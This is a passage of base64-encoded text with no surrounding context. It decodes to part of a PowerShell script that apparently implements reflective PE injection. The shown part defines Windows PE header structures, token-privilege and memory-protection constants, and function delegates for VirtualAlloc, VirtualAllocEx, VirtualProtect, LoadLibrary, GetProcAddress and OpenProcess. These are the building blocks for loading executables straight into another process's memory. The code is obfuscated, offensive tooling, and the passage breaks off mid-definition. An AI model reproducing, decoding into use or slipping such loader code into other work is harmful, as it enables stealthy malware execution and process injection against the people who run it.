cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkg
LU5hbWUgSU1BR0VfQkFTRV9SRUxPQ0FUSU9OIC1WYWx1ZSAkSU1BR0VfQkFTRV9SRUxPQ0FUSU9O
CgoKCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMs
IFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRl
ciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0lNUE9SVF9ERVNDUklQVE9SJywg
JEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjApCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwK
CQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1
YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZvcndhcmRlckNo
YWluJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdOYW1lJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdGaXJzdFRodW5rJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJElNQUdFX0lNUE9SVF9ERVNDUklQVE9SID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUo
KQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5h
bWUgSU1BR0VfSU1QT1JUX0RFU0NSSVBUT1IgLVZhbHVlICRJTUFHRV9JTVBPUlRfREVTQ1JJUFRP
UgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGlj
LCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxk
ZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9FWFBPUlRfRElSRUNUT1JZJywg
JEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNDApCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwK
CQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1
YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9yVmVyc2lv
bicsIFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVG
aWVsZCgnTWlub3JWZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5
cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOYW1lJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdCYXNlJywgW1VJbnQzMl0sICdQdWJsaWMn
KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZkZ1bmN0aW9u
cycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVG
aWVsZCgnTnVtYmVyT2ZOYW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRU
eXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQWRkcmVzc09mRnVuY3Rpb25zJywgW1VJbnQzMl0sICdQ
dWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZO
YW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp
bmVGaWVsZCgnQWRkcmVzc09mTmFtZU9yZGluYWxzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJElNQUdFX0VYUE9SVF9ESVJFQ1RPUlkgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlw
ZSgpCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt
TmFtZSBJTUFHRV9FWFBPUlRfRElSRUNUT1JZIC1WYWx1ZSAkSU1BR0VfRVhQT1JUX0RJUkVDVE9S
WQoJCQoKCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJs
aWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVp
bGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0xVSUQnLCAkQXR0cmlidXRlcywgW1N5
c3RlbS5WYWx1ZVR5cGVdLCA4KQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG93UGFydCcs
IFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVs
ZCgnSGlnaFBhcnQnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkTFVJRCA9ICRU
eXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJl
clR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIExVSUQgLVZhbHVlICRMVUlECgkJCgoJCSRBdHRyaWJ1
dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExh
eW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1
aWxkZXIuRGVmaW5lVHlwZSgnTFVJRF9BTkRfQVRUUklCVVRFUycsICRBdHRyaWJ1dGVzLCBbU3lz
dGVtLlZhbHVlVHlwZV0sIDEyKQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTHVpZCcsICRM
VUlELCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXR0
cmlidXRlcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRMVUlEX0FORF9BVFRS
SUJVVEVTID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1l
bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTFVJRF9BTkRfQVRUUklCVVRFUyAt
VmFsdWUgJExVSURfQU5EX0FUVFJJQlVURVMKCQkKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91
dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJl
Zm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBl
KCdUT0tFTl9QUklWSUxFR0VTJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMTYp
CgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQcml2aWxlZ2VDb3VudCcsIFtVSW50MzJdLCAn
UHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUHJpdmlsZWdl
cycsICRMVUlEX0FORF9BVFRSSUJVVEVTLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUT0tFTl9Q
UklWSUxFR0VTID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRk
LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgVE9LRU5fUFJJVklMRUdFUyAt
VmFsdWUgJFRPS0VOX1BSSVZJTEVHRVMKCgkJcmV0dXJuICRXaW4zMlR5cGVzCgl9CgoJRnVuY3Rp
b24gR2V0LVdpbjMyQ29uc3RhbnRzCgl7CgkJJFdpbjMyQ29uc3RhbnRzID0gTmV3LU9iamVjdCBT
eXN0ZW0uT2JqZWN0CgkJCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlw
ZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX0NPTU1JVCAtVmFsdWUgMHgwMDAwMTAwMAoJCSRXaW4z
MkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1F
TV9SRVNFUlZFIC1WYWx1ZSAweDAwMDAyMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJl
ciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9OT0FDQ0VTUyAtVmFsdWUgMHgw
MQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5
IC1OYW1lIFBBR0VfUkVBRE9OTFkgLVZhbHVlIDB4MDIKCQkkV2luMzJDb25zdGFudHMgfCBBZGQt
TWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdFX1JFQURXUklURSAtVmFs
dWUgMHgwNAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIFBBR0VfV1JJVEVDT1BZIC1WYWx1ZSAweDA4CgkJJFdpbjMyQ29uc3RhbnRz
IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRF
IC1WYWx1ZSAweDEwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1JFQUQgLVZhbHVlIDB4MjAKCQkkV2luMzJD
b25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdF
X0VYRUNVVEVfUkVBRFdSSVRFIC1WYWx1ZSAweDQwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1l
bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1dSSVRFQ09Q
WSAtVmFsdWUgMHg4MAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUg
Tm90ZVByb3BlcnR5IC1OYW1lIFBBR0VfTk9DQUNIRSAtVmFsdWUgMHgyMDAKCQkkV2luMzJDb25z
dGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9S
RUxfQkFTRURfQUJTT0xVVEUgLVZhbHVlIDAKCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVy
IC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9SRUxfQkFTRURfSElHSExPVyAt
VmFsdWUgMwoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIElNQUdFX1JFTF9CQVNFRF9ESVI2NCAtVmFsdWUgMTAKCQkkV2luMzJDb25z
dGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9T
Q05fTUVNX0RJU0NBUkRBQkxFIC1WYWx1ZSAweDAyMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9F
WEVDVVRFIC1WYWx1ZSAweDIwMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAt
TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9SRUFEIC1WYWx1ZSAw
eDQwMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3Rl
UHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9XUklURSAtVmFsdWUgMHg4MDAwMDAwMAoJCSRX
aW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1l
IElNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCAtVmFsdWUgMHgwNDAwMDAwMAoJCSRXaW4zMkNvbnN0
YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1FTV9ERUNP
TU1JVCAtVmFsdWUgMHg0MDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVy
VHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRklMRV9FWEVDVVRBQkxFX0lNQUdFIC1WYWx1
ZSAweDAwMDIKCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQ
cm9wZXJ0eSAtTmFtZSBJTUFHRV9GSUxFX0RMTCAtVmFsdWUgMHgyMDAwCgkJJFdpbjMyQ29uc3Rh
bnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRExM
Q0hBUkFDVEVSSVNUSUNTX0RZTkFNSUNfQkFTRSAtVmFsdWUgMHg0MAoJCSRXaW4zMkNvbnN0YW50
cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX0RMTENI
QVJBQ1RFUklTVElDU19OWF9DT01QQVQgLVZhbHVlIDB4MTAwCgkJJFdpbjMyQ29uc3RhbnRzIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX1JFTEVBU0UgLVZh
bHVlIDB4ODAwMAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90
ZVByb3BlcnR5IC1OYW1lIFRPS0VOX1FVRVJZIC1WYWx1ZSAweDAwMDgKCQkkV2luMzJDb25zdGFu
dHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBUT0tFTl9BREpV
U1RfUFJJVklMRUdFUyAtVmFsdWUgMHgwMDIwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJl
ciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgU0VfUFJJVklMRUdFX0VOQUJMRUQgLVZh
bHVlIDB4MgoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIEVSUk9SX05PX1RPS0VOIC1WYWx1ZSAweDNmMAoJCQoJCXJldHVybiAkV2lu
MzJDb25zdGFudHMKCX0KCglGdW5jdGlvbiBHZXQtV2luMzJGdW5jdGlvbnMKCXsKCQkkV2luMzJG
dW5jdGlvbnMgPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCQkkVmlydHVhbEFsbG9jQWRk
ciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jCgkJJFZpcnR1YWxB
bGxvY0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludFB0cl0sIFtV
SW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQoJCSRWaXJ0dWFsQWxsb2MgPSBbU3lzdGVtLlJ1
bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9p
bnRlcigkVmlydHVhbEFsbG9jQWRkciwgJFZpcnR1YWxBbGxvY0RlbGVnYXRlKQoJCSRXaW4zMkZ1
bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvYyAtVmFs
dWUgJFZpcnR1YWxBbGxvYwoJCQoJCSRWaXJ0dWFsQWxsb2NFeEFkZHIgPSBHZXQtUHJvY0FkZHJl
c3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvY0V4CgkJJFZpcnR1YWxBbGxvY0V4RGVsZWdhdGUg
PSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludFB0cl0sIFtVSW50
MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQoJCSRWaXJ0dWFsQWxsb2NFeCA9IFtTeXN0ZW0uUnVu
dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2lu
dGVyKCRWaXJ0dWFsQWxsb2NFeEFkZHIsICRWaXJ0dWFsQWxsb2NFeERlbGVnYXRlKQoJCSRXaW4z
MkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvY0V4
IC1WYWx1ZSAkVmlydHVhbEFsbG9jRXgKCQkKCQkkbWVtY3B5QWRkciA9IEdldC1Qcm9jQWRkcmVz
cyBtc3ZjcnQuZGxsIG1lbWNweQoJCSRtZW1jcHlEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUg
QChbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSkgKFtJbnRQdHJdKQoJCSRtZW1jcHkgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1
bmN0aW9uUG9pbnRlcigkbWVtY3B5QWRkciwgJG1lbWNweURlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0
aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIG1lbWNweSAt
VmFsdWUgJG1lbWNweQoJCQoJCSRtZW1zZXRBZGRyID0gR2V0LVByb2NBZGRyZXNzIG1zdmNydC5k
bGwgbWVtc2V0CgkJJG1lbXNldERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJd
LCBbSW50MzJdLCBbSW50UHRyXSkgKFtJbnRQdHJdKQoJCSRtZW1zZXQgPSBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRl
cigkbWVtc2V0QWRkciwgJG1lbXNldERlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1N
ZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIG1lbXNldCAtVmFsdWUgJG1lbXNl
dAoJCQoJCSRMb2FkTGlicmFyeUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIExv
YWRMaWJyYXJ5QQoJCSRMb2FkTGlicmFyeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtT
dHJpbmddKSAoW0ludFB0cl0pCgkJJExvYWRMaWJyYXJ5ID0gW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvYWRM
aWJyYXJ5QWRkciwgJExvYWRMaWJyYXJ5RGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRk
LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTG9hZExpYnJhcnkgLVZhbHVl
ICRMb2FkTGlicmFyeQoJCQoJCSRHZXRQcm9jQWRkcmVzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3Mg
a2VybmVsMzIuZGxsIEdldFByb2NBZGRyZXNzCgkJJEdldFByb2NBZGRyZXNzRGVsZWdhdGUgPSBH
ZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtTdHJpbmddKSAoW0ludFB0cl0pCgkJJEdldFBy
b2NBZGRyZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0
RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzQWRkciwgJEdldFByb2NB
ZGRyZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlw
ZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0UHJvY0FkZHJlc3MgLVZhbHVlICRHZXRQcm9jQWRkcmVz
cwoJCQoJCSRHZXRQcm9jQWRkcmVzc09yZGluYWxBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5l
bDMyLmRsbCBHZXRQcm9jQWRkcmVzcwoJCSRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSA9
IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW0ludFB0cl0pIChbSW50UHRyXSkKCQkkR2V0
UHJvY0FkZHJlc3NPcmRpbmFsID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz
aGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzT3JkaW5h
bEFkZHIsICRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMg
fCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRQcm9jQWRkcmVz
c09yZGluYWwgLVZhbHVlICRHZXRQcm9jQWRkcmVzc09yZGluYWwKCQkKCQkkVmlydHVhbEZyZWVB
ZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQoJCSRWaXJ0dWFs
RnJlZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludFB0cl0sIFtV
SW50MzJdKSAoW0Jvb2xdKQoJCSRWaXJ0dWFsRnJlZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFs
RnJlZUFkZHIsICRWaXJ0dWFsRnJlZURlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1N
ZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxGcmVlIC1WYWx1ZSAkVmlydHVhbEZyZWUK
CQkKCQkkVmlydHVhbEZyZWVFeEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZp
cnR1YWxGcmVlRXgKCQkkVmlydHVhbEZyZWVFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBA
KFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSkgKFtCb29sXSkKCQkkVmly
dHVhbEZyZWVFeCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06Okdl
dERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFsRnJlZUV4QWRkciwgJFZpcnR1YWxG
cmVlRXhEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0
eSAtTmFtZSBWaXJ0dWFsRnJlZUV4IC1WYWx1ZSAkVmlydHVhbEZyZWVFeAoJCQoJCSRWaXJ0dWFs
UHJvdGVjdEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxQcm90ZWN0
CgkJJFZpcnR1YWxQcm90ZWN0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0s
IFtVSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkK
CQkkVmlydHVhbFByb3RlY3QgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo
YWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbFByb3RlY3RBZGRyLCAk
VmlydHVhbFByb3RlY3REZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5v
dGVQcm9wZXJ0eSAtTmFtZSBWaXJ0dWFsUHJvdGVjdCAtVmFsdWUgJFZpcnR1YWxQcm90ZWN0CgkJ
CgkJJEdldE1vZHVsZUhhbmRsZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIEdl
dE1vZHVsZUhhbmRsZUEKCQkkR2V0TW9kdWxlSGFuZGxlRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVU
eXBlIEAoW1N0cmluZ10pIChbSW50UHRyXSkKCQkkR2V0TW9kdWxlSGFuZGxlID0gW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBv
aW50ZXIoJEdldE1vZHVsZUhhbmRsZUFkZHIsICRHZXRNb2R1bGVIYW5kbGVEZWxlZ2F0ZSkKCQkk
V2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRNb2R1bGVI
YW5kbGUgLVZhbHVlICRHZXRNb2R1bGVIYW5kbGUKCQkKCQkkRnJlZUxpYnJhcnlBZGRyID0gR2V0
LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBGcmVlTGlicmFyeQoJCSRGcmVlTGlicmFyeURlbGVn
YXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdKSAoW0Jvb2xdKQoJCSRGcmVlTGlicmFy
eSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRl
Rm9yRnVuY3Rpb25Qb2ludGVyKCRGcmVlTGlicmFyeUFkZHIsICRGcmVlTGlicmFyeURlbGVnYXRl
KQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5
IC1OYW1lIEZyZWVMaWJyYXJ5IC1WYWx1ZSAkRnJlZUxpYnJhcnkKCQkKCQkkT3BlblByb2Nlc3NB
ZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBPcGVuUHJvY2VzcwoJICAgICRPcGVu
UHJvY2Vzc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtVSW50MzJdLCBbQm9vbF0sIFtV
SW50MzJdKSAoW0ludFB0cl0pCgkgICAgJE9wZW5Qcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLklu
dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJE9w
ZW5Qcm9jZXNzQWRkciwgJE9wZW5Qcm9jZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgT3BlblByb2Nlc3MgLVZh
